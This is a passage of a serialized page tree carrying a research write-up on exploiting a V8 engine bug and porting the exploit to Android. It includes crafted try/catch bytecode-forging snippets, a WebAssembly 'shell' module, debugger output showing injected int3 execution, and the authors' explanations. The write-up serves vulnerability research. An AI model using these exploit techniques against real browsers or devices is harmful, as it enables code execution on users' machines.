bug",{"type":23,"tag":75,"props":146283,"children":146284},{"style":94},[146285],{"type":29,"value":643},{"type":23,"tag":75,"props":146287,"children":146288},{"style":110},[146289],{"type":29,"value":144150},{"type":23,"tag":75,"props":146291,"children":146292},{"style":94},[146293],{"type":29,"value":611},{"type":23,"tag":75,"props":146295,"children":146296},{"style":110},[146297],{"type":29,"value":135477},{"type":23,"tag":75,"props":146299,"children":146300},{"style":94},[146301],{"type":29,"value":557},{"type":23,"tag":75,"props":146303,"children":146304},{"style":110},[146305],{"type":29,"value":135477},{"type":23,"tag":75,"props":146307,"children":146308},{"style":94},[146309],{"type":29,"value":15099},{"type":23,"tag":75,"props":146311,"children":146312},{"class":77,"line":363},[146313,146318,146322,146326,146330,146334,146338,146342,146347,146351],{"type":23,"tag":75,"props":146314,"children":146315},{"style":110},[146316],{"type":29,"value":146317},"  result",{"type":23,"tag":75,"props":146319,"children":146320},{"style":209},[146321],{"type":29,"value":1193},{"type":23,"tag":75,"props":146323,"children":146324},{"style":94},[146325],{"type":29,"value":183},{"type":23,"tag":75,"props":146327,"children":146328},{"style":175},[146329],{"type":29,"value":44109},{"type":23,"tag":75,"props":146331,"children":146332},{"style":110},[146333],{"type":29,"value":146272},{"type":23,"tag":75,"props":146335,"children":146336},{"style":94},[146337],{"type":29,"value":557},{"type":23,"tag":75,"props":146339,"children":146340},{"style":88},[146341],{"type":29,"value":68749},{"type":23,"tag":75,"props":146343,"children":146344},{"style":94},[146345],{"type":29,"value":146346},"()).",{"type":23,"tag":75,"props":146348,"children":146349},{"style":110},[146350],{"type":29,"value":1672},{"type":23,"tag":75,"props":146352,"children":146353},{"style":94},[146354],{"type":29,"value":245},{"type":23,"tag":75,"props":146356,"children":146357},{"class":77,"line":656},[146358,146362,146367,146371,146375,146379,146383,146387,146391,146395],{"type":23,"tag":75,"props":146359,"children":146360},{"style":82},[146361],{"type":29,"value":47380},{"type":23,"tag":75,"props":146363,"children":146364},{"style":110},[146365],{"type":29,"value":146366}," wasm_instance",{"type":23,"tag":75,"props":146368,"children":146369},{"style":209},[146370],{"type":29,"value":1193},{"type":23,"tag":75,"props":146372,"children":146373},{"style":82},[146374],{"type":29,"value":43128},{"type":23,"tag":75,"props":146376,"children":146377},{"style":110},[146378],{"type":29,"value":144133},{"type":23,"tag":75,"props":146380,"children":146381},{"style":94},[146382],{"type":29,"value":557},{"type":23,"tag":75,"props":146384,"children":146385},{"style":88},[146386],{"type":29,"value":144187},{"type":23,"tag":75,"props":146388,"children":146389},{"style":94},[146390],{"type":29,"value":643},{"type":23,"tag":75,"props":146392,"children":146393},{"style":110},[146394],{"type":29,"value":1342},{"type":23,"tag":75,"props":146396,"children":146397},{"style":94},[146398],{"type":29,"value":15099},{"type":23,"tag":75,"props":146400,"children":146401},{"class":77,"line":705},[146402,146406,146410,146414,146418,146422,146426,146430,146434],{"type":23,"tag":75,"props":146403,"children":146404},{"style":82},[146405],{"type":29,"value":47380},{"type":23,"tag":75,"props":146407,"children":146408},{"style":110},[146409],{"type":29,"value":44164},{"type":23,"tag":75,"props":146411,"children":146412},{"style":209},[146413],{"type":29,"value":1193},{"type":23,"tag":75,"props":146415,"children":146416},{"style":110},[146417],{"type":29,"value":146366},{"type":23,"tag":75,"props":146419,"children":146420},{"style":94},[146421],{"type":29,"value":557},{"type":23,"tag":75,"props":146423,"children":146424},{"style":110},[146425],{"type":29,"value":49077},{"type":23,"tag":75,"props":146427,"children":146428},{"style":94},[146429],{"type":29,"value":557},{"type":23,"tag":75,"props":146431,"children":146432},{"style":110},[146433],{"type":29,"value":144236},{"type":23,"tag":75,"props":146435,"children":146436},{"style":94},[146437],{"type":29,"value":245},{"type":23,"tag":75,"props":146439,"children":146440},{"class":77,"line":787},[146441,146446],{"type":23,"tag":75,"props":146442,"children":146443},{"style":88},[146444],{"type":29,"value":146445},"  f",{"type":23,"tag":75,"props":146447,"children":146448},{"style":94},[146449],{"type":29,"value":14944},{"type":23,"tag":75,"props":146451,"children":146452},{"class":77,"line":826},[146453],{"type":23,"tag":75,"props":146454,"children":146455},{"style":94},[146456],{"type":29,"value":112320},{"type":23,"tag":32,"props":146458,"children":146459},{},[146460],{"type":29,"value":146461},"Running this in a debugger shows the expected breakpoint:",{"type":23,"tag":64,"props":146463,"children":146465},{"code":146464},"Thread 1 \"d8\" received signal SIGTRAP, Trace/breakpoint trap.\n0x00002ae46bfc1841 in ?? ()\n────────────────────────────────────────────────────────────────────────────\n   0x2ae46bfc183c                  add    BYTE PTR [rax], al\n   0x2ae46bfc183e                  add    BYTE PTR [rax], al\n   0x2ae46bfc1840                  int3\n → 0x2ae46bfc1841                  mov    rbp, rsp\n",[146466],{"type":23,"tag":71,"props":146467,"children":146468},{"__ignoreMap":7},[146469],{"type":29,"value":146464},{"type":23,"tag":923,"props":146471,"children":146473},{"id":146472},"porting-to-android",[146474],{"type":29,"value":146475},"Porting to Android",{"type":23,"tag":32,"props":146477,"children":146478},{},[146479,146481,146486,146488,146493,146495,146500,146502,146508],{"type":29,"value":146480},"The serialized x86-64 code can’t be used on the device because the architecture differs, and ",{"type":23,"tag":71,"props":146482,"children":146484},{"className":146483},[],[146485],{"type":29,"value":143265},{"type":29,"value":146487}," fails. We cross-compiled ",{"type":23,"tag":71,"props":146489,"children":146491},{"className":146490},[],[146492],{"type":29,"value":142424},{"type":29,"value":146494}," for arm64 and serialized the module there, but this still didn’t work on the device and ",{"type":23,"tag":71,"props":146496,"children":146498},{"className":146497},[],[146499],{"type":29,"value":143265},{"type":29,"value":146501}," returned ",{"type":23,"tag":71,"props":146503,"children":146505},{"className":146504},[],[146506],{"type":29,"value":146507},"undefined",{"type":29,"value":557},{"type":23,"tag":32,"props":146510,"children":146511},{},[146512,146514,146519,146521,146526],{"type":29,"value":146513},"Instead, we modified the bytecode to call ",{"type":23,"tag":71,"props":146515,"children":146517},{"className":146516},[],[146518],{"type":29,"value":143291},{"type":29,"value":146520}," directly on the device. The idea is to serialize the code on the device and then feed the resulting bytes back into the original bytecode that calls ",{"type":23,"tag":71,"props":146522,"children":146524},{"className":146523},[],[146525],{"type":29,"value":143265},{"type":29,"value":557},{"type":23,"tag":64,"props":146528,"children":146530},{"code":146529,"language":46810,"meta":7,"className":46808,"style":7},"try {\n  ${'a1 + 0xa931111;'.repeat(0x059301 - 1)}\n  a1 + 0x03027a6c;\n  throw 0x393e71a;\n} catch (e) {\n  console.log(\"foo\");\n  yield a16;\n}\n",[146531],{"type":23,"tag":71,"props":146532,"children":146533},{"__ignoreMap":7},[146534,146545,146589,146609,146625,146648,146675,146690],{"type":23,"tag":75,"props":146535,"children":146536},{"class":77,"line":78},[146537,146541],{"type":23,"tag":75,"props":146538,"children":146539},{"style":175},[146540],{"type":29,"value":59523},{"type":23,"tag":75,"props":146542,"children":146543},{"style":94},[146544],{"type":29,"value":401},{"type":23,"tag":75,"props":146546,"children":146547},{"class":77,"line":100},[146548,146552,146556,146560,146564,146568,146572,146577,146581,146585],{"type":23,"tag":75,"props":146549,"children":146550},{"style":110},[146551],{"type":29,"value":143532},{"type":23,"tag":75,"props":146553,"children":146554},{"style":94},[146555],{"type":29,"value":853},{"type":23,"tag":75,"props":146557,"children":146558},{"style":1266},[146559],{"type":29,"value":143541},{"type":23,"tag":75,"props":146561,"children":146562},{"style":94},[146563],{"type":29,"value":557},{"type":23,"tag":75,"props":146565,"children":146566},{"style":88},[146567],{"type":29,"value":143550},{"type":23,"tag":75,"props":146569,"children":146570},{"style":94},[146571],{"type":29,"value":643},{"type":23,"tag":75,"props":146573,"children":146574},{"style":237},[146575],{"type":29,"value":146576},"0x059301",{"type":23,"tag":75,"props":146578,"children":146579},{"style":209},[146580],{"type":29,"value":62440},{"type":23,"tag":75,"props":146582,"children":146583},{"style":237},[146584],{"type":29,"value":15795},{"type":23,"tag":75,"props":146586,"children":146587},{"style":94},[146588],{"type":29,"value":143572},{"type":23,"tag":75,"props":146590,"children":146591},{"class":77,"line":121},[146592,146596,146600,146605],{"type":23,"tag":75,"props":146593,"children":146594},{"style":110},[146595],{"type":29,"value":143580},{"type":23,"tag":75,"props":146597,"children":146598},{"style":209},[146599],{"type":29,"value":20160},{"type":23,"tag":75,"props":146601,"children":146602},{"style":237},[146603],{"type":29,"value":146604}," 0x03027a6c",{"type":23,"tag":75,"props":146606,"children":146607},{"style":94},[146608],{"type":29,"value":245},{"type":23,"tag":75,"props":146610,"children":146611},{"class":77,"line":138},[146612,146616,146621],{"type":23,"tag":75,"props":146613,"children":146614},{"style":175},[146615],{"type":29,"value":46396},{"type":23,"tag":75,"props":146617,"children":146618},{"style":237},[146619],{"type":29,"value":146620}," 0x393e71a",{"type":23,"tag":75,"props":146622,"children":146623},{"style":94},[146624],{"type":29,"value":245},{"type":23,"tag":75,"props":146626,"children":146627},{"class":77,"line":161},[146628,146632,146636,146640,146644],{"type":23,"tag":75,"props":146629,"children":146630},{"style":94},[146631],{"type":29,"value":58066},{"type":23,"tag":75,"props":146633,"children":146634},{"style":175},[146635],{"type":29,"value":59602},{"type":23,"tag":75,"props":146637,"children":146638},{"style":94},[146639],{"type":29,"value":183},{"type":23,"tag":75,"props":146641,"children":146642},{"style":110},[146643],{"type":29,"value":62639},{"type":23,"tag":75,"props":146645,"children":146646},{"style":94},[146647],{"type":29,"value":193},{"type":23,"tag":75,"props":146649,"children":146650},{"class":77,"line":196},[146651,146655,146659,146663,146667,146671],{"type":23,"tag":75,"props":146652,"children":146653},{"style":110},[146654],{"type":29,"value":112279},{"type":23,"tag":75,"props":146656,"children":146657},{"style":94},[146658],{"type":29,"value":557},{"type":23,"tag":75,"props":146660,"children":146661},{"style":88},[146662],{"type":29,"value":112288},{"type":23,"tag":75,"props":146664,"children":146665},{"style":94},[146666],{"type":29,"value":643},{"type":23,"tag":75,"props":146668,"children":146669},{"style":1266},[146670],{"type":29,"value":143656},{"type":23,"tag":75,"props":146672,"children":146673},{"style":94},[146674],{"type":29,"value":15099},{"type":23,"tag":75,"props":146676,"children":146677},{"class":77,"line":220},[146678,146682,146686],{"type":23,"tag":75,"props":146679,"children":146680},{"style":175},[146681],{"type":29,"value":143668},{"type":23,"tag":75,"props":146683,"children":146684},{"style":110},[146685],{"type":29,"value":143673},{"type":23,"tag":75,"props":146687,"children":146688},{"style":94},[146689],{"type":29,"value":245},{"type":23,"tag":75,"props":146691,"children":146692},{"class":77,"line":248},[146693],{"type":23,"tag":75,"props":146694,"children":146695},{"style":94},[146696],{"type":29,"value":369},{"type":23,"tag":32,"props":146698,"children":146699},{},[146700,146702,146708,146710,146716,146718,146724,146726,146731,146733,146739,146741,146746,146747,146753],{"type":29,"value":146701},"Here, ",{"type":23,"tag":71,"props":146703,"children":146705},{"className":146704},[],[146706],{"type":29,"value":146707},"a1 + 0x03027a6c",{"type":29,"value":146709}," generates the bytes ",{"type":23,"tag":71,"props":146711,"children":146713},{"className":146712},[],[146714],{"type":29,"value":146715},"01 4b 6c 7a 02 03",{"type":29,"value":146717},", where ",{"type":23,"tag":71,"props":146719,"children":146721},{"className":146720},[],[146722],{"type":29,"value":146723},"0x6c",{"type":29,"value":146725}," is the ",{"type":23,"tag":71,"props":146727,"children":146729},{"className":146728},[],[146730],{"type":29,"value":143249},{"type":29,"value":146732}," opcode, ",{"type":23,"tag":71,"props":146734,"children":146736},{"className":146735},[],[146737],{"type":29,"value":146738},"0x027a",{"type":29,"value":146740}," is the function ID of ",{"type":23,"tag":71,"props":146742,"children":146744},{"className":146743},[],[146745],{"type":29,"value":143291},{"type":29,"value":5777},{"type":23,"tag":71,"props":146748,"children":146750},{"className":146749},[],[146751],{"type":29,"value":146752},"0x03",{"type":29,"value":146754}," is the register index holding its first argument.",{"type":23,"tag":32,"props":146756,"children":146757},{},[146758,146760,146765,146766,146771,146773,146778],{"type":29,"value":146759},"Our earlier javascript snippet that serialized the wasm module used two native calls: ",{"type":23,"tag":71,"props":146761,"children":146763},{"className":146762},[],[146764],{"type":29,"value":143291},{"type":29,"value":2721},{"type":23,"tag":71,"props":146767,"children":146769},{"className":146768},[],[146770],{"type":29,"value":144259},{"type":29,"value":146772},". To avoid patching the bytecode again to invoke ",{"type":23,"tag":71,"props":146774,"children":146776},{"className":146775},[],[146777],{"type":29,"value":144259},{"type":29,"value":146779},", we can force Turbofan to compile the target function like this:",{"type":23,"tag":64,"props":146781,"children":146783},{"code":146782,"language":46810,"meta":7,"className":46808,"style":7},"// %WasmTierUpFunction(func);\nfor (let i = 0; i \u003C 0x100000; i++) {\n  func();\n}\n",[146784],{"type":23,"tag":71,"props":146785,"children":146786},{"__ignoreMap":7},[146787,146795,146855,146867],{"type":23,"tag":75,"props":146788,"children":146789},{"class":77,"line":78},[146790],{"type":23,"tag":75,"props":146791,"children":146792},{"style":3621},[146793],{"type":29,"value":146794},"// %WasmTierUpFunction(func);\n",{"type":23,"tag":75,"props":146796,"children":146797},{"class":77,"line":100},[146798,146802,146806,146810,146814,146818,146822,146826,146830,146834,146839,146843,146847,146851],{"type":23,"tag":75,"props":146799,"children":146800},{"style":175},[146801],{"type":29,"value":14672},{"type":23,"tag":75,"props":146803,"children":146804},{"style":94},[146805],{"type":29,"value":183},{"type":23,"tag":75,"props":146807,"children":146808},{"style":82},[146809],{"type":29,"value":23033},{"type":23,"tag":75,"props":146811,"children":146812},{"style":110},[146813],{"type":29,"value":3261},{"type":23,"tag":75,"props":146815,"children":146816},{"style":209},[146817],{"type":29,"value":1193},{"type":23,"tag":75,"props":146819,"children":146820},{"style":237},[146821],{"type":29,"value":240},{"type":23,"tag":75,"props":146823,"children":146824},{"style":94},[146825],{"type":29,"value":739},{"type":23,"tag":75,"props":146827,"children":146828},{"style":110},[146829],{"type":29,"value":12935},{"type":23,"tag":75,"props":146831,"children":146832},{"style":209},[146833],{"type":29,"value":749},{"type":23,"tag":75,"props":146835,"children":146836},{"style":237},[146837],{"type":29,"value":146838}," 0x100000",{"type":23,"tag":75,"props":146840,"children":146841},{"style":94},[146842],{"type":29,"value":739},{"type":23,"tag":75,"props":146844,"children":146845},{"style":110},[146846],{"type":29,"value":12935},{"type":23,"tag":75,"props":146848,"children":146849},{"style":209},[146850],{"type":29,"value":62454},{"type":23,"tag":75,"props":146852,"children":146853},{"style":94},[146854],{"type":29,"value":193},{"type":23,"tag":75,"props":146856,"children":146857},{"class":77,"line":121},[146858,146863],{"type":23,"tag":75,"props":146859,"children":146860},{"style":88},[146861],{"type":29,"value":146862},"  func",{"type":23,"tag":75,"props":146864,"children":146865},{"style":94},[146866],{"type":29,"value":14944},{"type":23,"tag":75,"props":146868,"children":146869},{"class":77,"line":138},[146870],{"type":23,"tag":75,"props":146871,"children":146872},{"style":94},[146873],{"type":29,"value":369},{"type":23,"tag":32,"props":146875,"children":146876},{},[146877],{"type":29,"value":146878},"Finally, running this code on the device:",{"type":23,"tag":64,"props":146880,"children":146882},{"code":146881,"language":46810,"meta":7,"className":46808,"style":7},"(async () => {\n  var wasm_code = new Uint8Array([\n    0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n    0, 0, 10, 4, 1, 2, 0, 11,\n  ]);\n  var mod = new WebAssembly.Module(wasm_code);\n  var inst = new WebAssembly.Instance(mod);\n  var func = inst.exports.shell;\n\n  // %WasmTierUpFunction(func);\n  for (let i = 0; i \u003C 0x100000; i++) {\n    func();\n  }\n\n  let r = bug(mod);\n  result = (await r.next()).value;\n  console.log(result);\n\n  let result_bytes = new Uint8Array(result);\n  console.log('[' + result_bytes.join(', ') + ']');\n})();\n",[146883],{"type":23,"tag":71,"props":146884,"children":146885},{"__ignoreMap":7},[146886,146909,146937,147156,147223,147230,147273,147316,147355,147362,147370,147430,147442,147449,147456,147487,147530,147557,147564,147600,147663],{"type":23,"tag":75,"props":146887,"children":146888},{"class":77,"line":78},[146889,146893,146897,146901,146905],{"type":23,"tag":75,"props":146890,"children":146891},{"style":94},[146892],{"type":29,"value":643},{"type":23,"tag":75,"props":146894,"children":146895},{"style":82},[146896],{"type":29,"value":47337},{"type":23,"tag":75,"props":146898,"children":146899},{"style":94},[146900],{"type":29,"value":50886},{"type":23,"tag":75,"props":146902,"children":146903},{"style":82},[146904],{"type":29,"value":26057},{"type":23,"tag":75,"props":146906,"children":146907},{"style":94},[146908],{"type":29,"value":401},{"type":23,"tag":75,"props":146910,"children":146911},{"class":77,"line":100},[146912,146917,146921,146925,146929,146933],{"type":23,"tag":75,"props":146913,"children":146914},{"style":82},[146915],{"type":29,"value":146916},"  var",{"type":23,"tag":75,"props":146918,"children":146919},{"style":110},[146920],{"type":29,"value":143789},{"type":23,"tag":75,"props":146922,"children":146923},{"style":209},[146924],{"type":29,"value":1193},{"type":23,"tag":75,"props":146926,"children":146927},{"style":82},[146928],{"type":29,"value":43128},{"type":23,"tag":75,"props":146930,"children":146931},{"style":88},[146932],{"type":29,"value":143802},{"type":23,"tag":75,"props":146934,"children":146935},{"style":94},[146936],{"type":29,"value":143807},{"type":23,"tag":75,"props":146938,"children":146939},{"class":77,"line":121},[146940,146944,146948,146952,146956,146960,146964,146968,146972,146976,146980,146984,146988,146992,146996,147000,147004,147008,147012,147016,147020,147024,147028,147032,147036,147040,147044,147048,147052,147056,147060,147064,147068,147072,147076,147080,147084,147088,147092,147096,147100,147104,147108,147112,147116,147120,147124,147128,147132,147136,147140,147144,147148,147152],{"type":23,"tag":75,"props":146941,"children":146942},{"style":237},[146943],{"type":29,"value":144532},{"type":23,"tag":75,"props":146945,"children":146946},{"style":94},[146947],{"type":29,"value":611},{"type":23,"tag":75,"props":146949,"children":146950},{"style":237},[146951],{"type":29,"value":143824},{"type":23,"tag":75,"props":146953,"children":146954},{"style":94},[146955],{"type":29,"value":611},{"type":23,"tag":75,"props":146957,"children":146958},{"style":237},[146959],{"type":29,"value":143833},{"type":23,"tag":75,"props":146961,"children":146962},{"style":94},[146963],{"type":29,"value":611},{"type":23,"tag":75,"props":146965,"children":146966},{"style":237},[146967],{"type":29,"value":143842},{"type":23,"tag":75,"props":146969,"children":146970},{"style":94},[146971],{"type":29,"value":611},{"type":23,"tag":75,"props":146973,"children":146974},{"style":237},[146975],{"type":29,"value":7867},{"type":23,"tag":75,"props":146977,"children":146978},{"style":94},[146979],{"type":29,"value":611},{"type":23,"tag":75,"props":146981,"children":146982},{"style":237},[146983],{"type":29,"value":648},{"type":23,"tag":75,"props":146985,"children":146986},{"style":94},[146987],{"type":29,"value":611},{"type":23,"tag":75,"props":146989,"children":146990},{"style":237},[146991],{"type":29,"value":648},{"type":23,"tag":75,"props":146993,"children":146994},{"style":94},[146995],{"type":29,"value":611},{"type":23,"tag":75,"props":146997,"children":146998},{"style":237},[146999],{"type":29,"value":648},{"type":23,"tag":75,"props":147001,"children":147002},{"style":94},[147003],{"type":29,"value":611},{"type":23,"tag":75,"props":147005,"children":147006},{"style":237},[147007],{"type":29,"value":7867},{"type":23,"tag":75,"props":147009,"children":147010},{"style":94},[147011],{"type":29,"value":611},{"type":23,"tag":75,"props":147013,"children":147014},{"style":237},[147015],{"type":29,"value":28751},{"type":23,"tag":75,"props":147017,"children":147018},{"style":94},[147019],{"type":29,"value":611},{"type":23,"tag":75,"props":147021,"children":147022},{"style":237},[147023],{"type":29,"value":7867},{"type":23,"tag":75,"props":147025,"children":147026},{"style":94},[147027],{"type":29,"value":611},{"type":23,"tag":75,"props":147029,"children":147030},{"style":237},[147031],{"type":29,"value":143907},{"type":23,"tag":75,"props":147033,"children":147034},{"style":94},[147035],{"type":29,"value":611},{"type":23,"tag":75,"props":147037,"children":147038},{"style":237},[147039],{"type":29,"value":648},{"type":23,"tag":75,"props":147041,"children":147042},{"style":94},[147043],{"type":29,"value":611},{"type":23,"tag":75,"props":147045,"children":147046},{"style":237},[147047],{"type":29,"value":648},{"type":23,"tag":75,"props":147049,"children":147050},{"style":94},[147051],{"type":29,"value":611},{"type":23,"tag":75,"props":147053,"children":147054},{"style":237},[147055],{"type":29,"value":28518},{"type":23,"tag":75,"props":147057,"children":147058},{"style":94},[147059],{"type":29,"value":611},{"type":23,"tag":75,"props":147061,"children":147062},{"style":237},[147063],{"type":29,"value":14409},{"type":23,"tag":75,"props":147065,"children":147066},{"style":94},[147067],{"type":29,"value":611},{"type":23,"tag":75,"props":147069,"children":147070},{"style":237},[147071],{"type":29,"value":7867},{"type":23,"tag":75,"props":147073,"children":147074},{"style":94},[147075],{"type":29,"value":611},{"type":23,"tag":75,"props":147077,"children":147078},{"style":237},[147079],{"type":29,"value":648},{"type":23,"tag":75,"props":147081,"children":147082},{"style":94},[147083],{"type":29,"value":611},{"type":23,"tag":75,"props":147085,"children":147086},{"style":237},[147087],{"type":29,"value":65855},{"type":23,"tag":75,"props":147089,"children":147090},{"style":94},[147091],{"type":29,"value":611},{"type":23,"tag":75,"props":147093,"children":147094},{"style":237},[147095],{"type":29,"value":67069},{"type":23,"tag":75,"props":147097,"children":147098},{"style":94},[147099],{"type":29,"value":611},{"type":23,"tag":75,"props":147101,"children":147102},{"style":237},[147103],{"type":29,"value":7867},{"type":23,"tag":75,"props":147105,"children":147106},{"style":94},[147107],{"type":29,"value":611},{"type":23,"tag":75,"props":147109,"children":147110},{"style":237},[147111],{"type":29,"value":29331},{"type":23,"tag":75,"props":147113,"children":147114},{"style":94},[147115],{"type":29,"value":611},{"type":23,"tag":75,"props":147117,"children":147118},{"style":237},[147119],{"type":29,"value":143833},{"type":23,"tag":75,"props":147121,"children":147122},{"style":94},[147123],{"type":29,"value":611},{"type":23,"tag":75,"props":147125,"children":147126},{"style":237},[147127],{"type":29,"value":144004},{"type":23,"tag":75,"props":147129,"children":147130},{"style":94},[147131],{"type":29,"value":611},{"type":23,"tag":75,"props":147133,"children":147134},{"style":237},[147135],{"type":29,"value":144013},{"type":23,"tag":75,"props":147137,"children":147138},{"style":94},[147139],{"type":29,"value":611},{"type":23,"tag":75,"props":147141,"children":147142},{"style":237},[147143],{"type":29,"value":144022},{"type":23,"tag":75,"props":147145,"children":147146},{"style":94},[147147],{"type":29,"value":611},{"type":23,"tag":75,"props":147149,"children":147150},{"style":237},[147151],{"type":29,"value":144022},{"type":23,"tag":75,"props":147153,"children":147154},{"style":94},[147155],{"type":29,"value":118},{"type":23,"tag":75,"props":147157,"children":147158},{"class":77,"line":138},[147159,147163,147167,147171,147175,147179,147183,147187,147191,147195,147199,147203,147207,147211,147215,147219],{"type":23,"tag":75,"props":147160,"children":147161},{"style":237},[147162],{"type":29,"value":144532},{"type":23,"tag":75,"props":147164,"children":147165},{"style":94},[147166],{"type":29,"value":611},{"type":23,"tag":75,"props":147168,"children":147169},{"style":237},[147170],{"type":29,"value":648},{"type":23,"tag":75,"props":147172,"children":147173},{"style":94},[147174],{"type":29,"value":611},{"type":23,"tag":75,"props":147176,"children":147177},{"style":237},[147178],{"type":29,"value":13656},{"type":23,"tag":75,"props":147180,"children":147181},{"style":94},[147182],{"type":29,"value":611},{"type":23,"tag":75,"props":147184,"children":147185},{"style":237},[147186],{"type":29,"value":28751},{"type":23,"tag":75,"props":147188,"children":147189},{"style":94},[147190],{"type":29,"value":611},{"type":23,"tag":75,"props":147192,"children":147193},{"style":237},[147194],{"type":29,"value":7867},{"type":23,"tag":75,"props":147196,"children":147197},{"style":94},[147198],{"type":29,"value":611},{"type":23,"tag":75,"props":147200,"children":147201},{"style":237},[147202],{"type":29,"value":14409},{"type":23,"tag":75,"props":147204,"children":147205},{"style":94},[147206],{"type":29,"value":611},{"type":23,"tag":75,"props":147208,"children":147209},{"style":237},[147210],{"type":29,"value":648},{"type":23,"tag":75,"props":147212,"children":147213},{"style":94},[147214],{"type":29,"value":611},{"type":23,"tag":75,"props":147216,"children":147217},{"style":237},[147218],{"type":29,"value":144098},{"type":23,"tag":75,"props":147220,"children":147221},{"style":94},[147222],{"type":29,"value":118},{"type":23,"tag":75,"props":147224,"children":147225},{"class":77,"line":161},[147226],{"type":23,"tag":75,"props":147227,"children":147228},{"style":94},[147229],{"type":29,"value":144819},{"type":23,"tag":75,"props":147231,"children":147232},{"class":77,"line":196},[147233,147237,147241,147245,147249,147253,147257,147261,147265,147269],{"type":23,"tag":75,"props":147234,"children":147235},{"style":82},[147236],{"type":29,"value":146916},{"type":23,"tag":75,"props":147238,"children":147239},{"style":110},[147240],{"type":29,"value":82795},{"type":23,"tag":75,"props":147242,"children":147243},{"style":209},[147244],{"type":29,"value":1193},{"type":23,"tag":75,"props":147246,"children":147247},{"style":82},[147248],{"type":29,"value":43128},{"type":23,"tag":75,"props":147250,"children":147251},{"style":110},[147252],{"type":29,"value":144133},{"type":23,"tag":75,"props":147254,"children":147255},{"style":94},[147256],{"type":29,"value":557},{"type":23,"tag":75,"props":147258,"children":147259},{"style":88},[147260],{"type":29,"value":10310},{"type":23,"tag":75,"props":147262,"children":147263},{"style":94},[147264],{"type":29,"value":643},{"type":23,"tag":75,"props":147266,"children":147267},{"style":110},[147268],{"type":29,"value":144150},{"type":23,"tag":75,"props":147270,"children":147271},{"style":94},[147272],{"type":29,"value":15099},{"type":23,"tag":75,"props":147274,"children":147275},{"class":77,"line":220},[147276,147280,147284,147288,147292,147296,147300,147304,147308,147312],{"type":23,"tag":75,"props":147277,"children":147278},{"style":82},[147279],{"type":29,"value":146916},{"type":23,"tag":75,"props":147281,"children":147282},{"style":110},[147283],{"type":29,"value":144166},{"type":23,"tag":75,"props":147285,"children":147286},{"style":209},[147287],{"type":29,"value":1193},{"type":23,"tag":75,"props":147289,"children":147290},{"style":82},[147291],{"type":29,"value":43128},{"type":23,"tag":75,"props":147293,"children":147294},{"style":110},[147295],{"type":29,"value":144133},{"type":23,"tag":75,"props":147297,"children":147298},{"style":94},[147299],{"type":29,"value":557},{"type":23,"tag":75,"props":147301,"children":147302},{"style":88},[147303],{"type":29,"value":144187},{"type":23,"tag":75,"props":147305,"children":147306},{"style":94},[147307],{"type":29,"value":643},{"type":23,"tag":75,"props":147309,"children":147310},{"style":110},[147311],{"type":29,"value":144196},{"type":23,"tag":75,"props":147313,"children":147314},{"style":94},[147315],{"type":29,"value":15099},{"type":23,"tag":75,"props":147317,"children":147318},{"class":77,"line":248},[147319,147323,147327,147331,147335,147339,147343,147347,147351],{"type":23,"tag":75,"props":147320,"children":147321},{"style":82},[147322],{"type":29,"value":146916},{"type":23,"tag":75,"props":147324,"children":147325},{"style":110},[147326],{"type":29,"value":4340},{"type":23,"tag":75,"props":147328,"children":147329},{"style":209},[147330],{"type":29,"value":1193},{"type":23,"tag":75,"props":147332,"children":147333},{"style":110},[147334],{"type":29,"value":144166},{"type":23,"tag":75,"props":147336,"children":147337},{"style":94},[147338],{"type":29,"value":557},{"type":23,"tag":75,"props":147340,"children":147341},{"style":110},[147342],{"type":29,"value":49077},{"type":23,"tag":75,"props":147344,"children":147345},{"style":94},[147346],{"type":29,"value":557},{"type":23,"tag":75,"props":147348,"children":147349},{"style":110},[147350],{"type":29,"value":144236},{"type":23,"tag":75,"props":147352,"children":147353},{"style":94},[147354],{"type":29,"value":245},{"type":23,"tag":75,"props":147356,"children":147357},{"class":77,"line":270},[147358],{"type":23,"tag":75,"props":147359,"children":147360},{"emptyLinePlaceholder":15},[147361],{"type":29,"value":276},{"type":23,"tag":75,"props":147363,"children":147364},{"class":77,"line":279},[147365],{"type":23,"tag":75,"props":147366,"children":147367},{"style":3621},[147368],{"type":29,"value":147369},"  // %WasmTierUpFunction(func);\n",{"type":23,"tag":75,"props":147371,"children":147372},{"class":77,"line":303},[147373,147378,147382,147386,147390,147394,147398,147402,147406,147410,147414,147418,147422,147426],{"type":23,"tag":75,"props":147374,"children":147375},{"style":175},[147376],{"type":29,"value":147377},"  for",{"type":23,"tag":75,"props":147379,"children":147380},{"style":94},[147381],{"type":29,"value":183},{"type":23,"tag":75,"props":147383,"children":147384},{"style":82},[147385],{"type":29,"value":23033},{"type":23,"tag":75,"props":147387,"children":147388},{"style":110},[147389],{"type":29,"value":3261},{"type":23,"tag":75,"props":147391,"children":147392},{"style":209},[147393],{"type":29,"value":1193},{"type":23,"tag":75,"props":147395,"children":147396},{"style":237},[147397],{"type":29,"value":240},{"type":23,"tag":75,"props":147399,"children":147400},{"style":94},[147401],{"type":29,"value":739},{"type":23,"tag":75,"props":147403,"children":147404},{"style":110},[147405],{"type":29,"value":12935},{"type":23,"tag":75,"props":147407,"children":147408},{"style":209},[147409],{"type":29,"value":749},{"type":23,"tag":75,"props":147411,"children":147412},{"style":237},[147413],{"type":29,"value":146838},{"type":23,"tag":75,"props":147415,"children":147416},{"style":94},[147417],{"type":29,"value":739},{"type":23,"tag":75,"props":147419,"children":147420},{"style":110},[147421],{"type":29,"value":12935},{"type":23,"tag":75,"props":147423,"children":147424},{"style":209},[147425],{"type":29,"value":62454},{"type":23,"tag":75,"props":147427,"children":147428},{"style":94},[147429],{"type":29,"value":193},{"type":23,"tag":75,"props":147431,"children":147432},{"class":77,"line":322},[147433,147438],{"type":23,"tag":75,"props":147434,"children":147435},{"style":88},[147436],{"type":29,"value":147437},"    